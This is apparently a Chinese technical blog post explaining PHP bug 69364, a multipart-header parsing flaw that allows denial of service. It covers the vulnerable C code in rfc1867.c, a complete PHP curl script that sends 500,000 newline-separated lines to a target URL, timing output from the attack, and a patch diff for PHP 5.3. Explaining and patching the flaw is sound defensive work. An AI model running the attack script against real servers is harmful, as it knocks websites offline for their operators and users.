最近PHP又报出了一个比较致命的安全漏洞,可以利用对使用PHP网站进行DDOS攻击,其可以利用很小的流量对Web服务器产生巨大的压力,非常类似于几年前的Hash冲突漏洞,但不同是这个漏洞只针对PHP,是PHP在实现时的一个bug,并不影响其他语言。对于此漏洞比较详细的描述可以参考http://drops.wooyun.org/papers/6077。
上述的文章中已经比较详细的说明了这个漏洞的原理,这里再简单叙述一下,在PHP源代码main/rfc1867.c文件的multipart_buffer_headers函数中
while( (line = get_line(self TSRMLS_CC)) && strlen(line) > 0 ) { /* add header to table */ char *key = line; char *value = NULL; /* space in the beginning means same header */ if (!isspace(line[0])) { value = strchr(line, ':'); } if (value) { *value = 0; do { value++; } while(isspace(*value)); entry.value = estrdup(value); entry.key = estrdup(key); } else if (zend_llist_count(header)) { /* If no ':' on the line, add to previous line */ prev_len = strlen(prev_entry.value); cur_len = strlen(line); entry.value = emalloc(prev_len + cur_len + 1); memcpy(entry.value, prev_entry.value, prev_len); memcpy(entry.value + prev_len, line, cur_len); entry.value[cur_len + prev_len] = '\0'; entry.key = estrdup(prev_entry.key); zend_llist_remove_tail(header); } else { continue; } zend_llist_add_element(header, &entry); prev_entry = entry; }
在这个循环中,PHP按行进行body的解析,找出相应的entry,看当前行中是否存在冒号来进行判断是否是一个新的entry,如果不是则认为当前是上一个entry的延续,然后else if中的逻辑——重新分配一个空间,将上次的内容和本次的内容进行合并,此时就可以构造一个行数非常多的entry,这样就可以使得PHP反复进行分配内存、合并内容的操作,可以产生可观的资源消耗。
我们只需要构造一个如下的HTTP请求body即可
------WebKitFormBoundaryX3B7rDMPcQlzmJE1 Content-Disposition: form-data; name="file"; filename=sp.jpga a a a a Content-Type: application/octet-stream datadata ------WebKitFormBoundaryX3B7rDMPcQlzmJE1
对于Content-Disposition entry,在最后增加一段一个字符一换行的数据,当行数在500000行时消耗的时间就已经非常可观了
POST / HTTP/1.1 Host: 127.0.0.1 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1 Content-Length: 1000193 Expect: 100-continue HTTP/1.1 100 Continue HTTP/1.1 200 OK Server: nginx/0.8.55 Date: Mon, 18 May 2015 11:43:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.15 real 0m14.629s user 0m0.047s sys 0m0.007s
PHP-FPM会有极大的压力,与Hash冲突非常像。
31414 nobody 20 0 134m 5188 1876 R 98.3 1.0 0:07.47 php-fpm
将上述文章中的Python脚本改写成一个PHP的版本,以便于更好的理解,同时也更加简洁
<?php $url = $argv[1]; $curl = curl_init(); $num = 500000; $headers = array( "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1" ); $body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"; for ($i = 0; $i < $num; $i++) { $body .= "a\n"; } $body .= "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $body); curl_setopt($curl, CURLOPT_VERBOSE, 1); curl_exec($curl); curl_close($curl);
PHP 5.4以上版本已经在最新的版本中修复了这个漏洞,https://bugs.php.net/patch-display.php?bug=69364&patch=patch-5.4&revision=1431237650,可以从这个获得。但如果还是PHP 5.3则需要自己根据此补丁文件进行源代码的修改。
diff -Nur php-5.3.15/main/rfc1867.c php-5.3.15-patch/main/rfc1867.c --- php-5.3.15/main/rfc1867.c 2012-07-13 06:17:37.000000000 +0800 +++ php-5.3.15-patch/main/rfc1867.c 2015-05-18 17:14:19.276262610 +0800 @@ -33,6 +33,7 @@ #include "php_variables.h" #include "rfc1867.h" #include "ext/standard/php_string.h" +#include "ext/standard/php_smart_str.h" #define DEBUG_FILE_UPLOAD ZEND_DEBUG @@ -462,8 +463,9 @@ static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC) { char *line; - mime_header_entry prev_entry, entry; - int prev_len, cur_len; + mime_header_entry entry = {0}; + smart_str buf_value = {0}; + char *key = NULL; /* didn't find boundary, abort */ if (!find_boundary(self, self->boundary TSRMLS_CC)) { @@ -475,7 +477,6 @@ while( (line = get_line(self TSRMLS_CC)) && strlen(line) > 0 ) { /* add header to table */ - char *key = line; char *value = NULL; /* space in the beginning means same header */ @@ -484,31 +485,33 @@ } if (value) { - *value = 0; - do { value++; } while(isspace(*value)); - - entry.value = estrdup(value); - entry.key = estrdup(key); - - } else if (zend_llist_count(header)) { /* If no ':' on the line, add to previous line */ - - prev_len = strlen(prev_entry.value); - cur_len = strlen(line); - - entry.value = emalloc(prev_len + cur_len + 1); - memcpy(entry.value, prev_entry.value, prev_len); - memcpy(entry.value + prev_len, line, cur_len); - entry.value[cur_len + prev_len] = '\0'; + if(buf_value.c && key) { + /* new entry, add the old one to the list */ + smart_str_0(&buf_value); + entry.key = key; + entry.value = buf_value.c; + zend_llist_add_element(header, &entry); + buf_value.c = NULL; + key = NULL; + } - entry.key = estrdup(prev_entry.key); + *value = '\0'; + do { value++; } while(isspace(*value)); - zend_llist_remove_tail(header); + key = estrdup(line); + smart_str_appends(&buf_value, value); + } else if (buf_value.c) { /* If no ':' on the line, add to previous line */ + smart_str_appends(&buf_value, line); } else { continue; } - + } + if(buf_value.c && key) { + /* add the last one to the list */ + smart_str_0(&buf_value); + entry.key = key; + entry.value = buf_value.c; zend_llist_add_element(header, &entry); - prev_entry = entry; } return 1;
使用补丁修复后,再进行攻击测试,可以看到已经不存在响应缓慢的情况了
POST / HTTP/1.1 Host: 127.0.0.1 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1 Content-Length: 1000193 Expect: 100-continue HTTP/1.1 100 Continue HTTP/1.1 200 OK Server: nginx/0.8.55 Date: Mon, 18 May 2015 11:53:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.15 real 0m0.124s user 0m0.044s sys 0m0.008s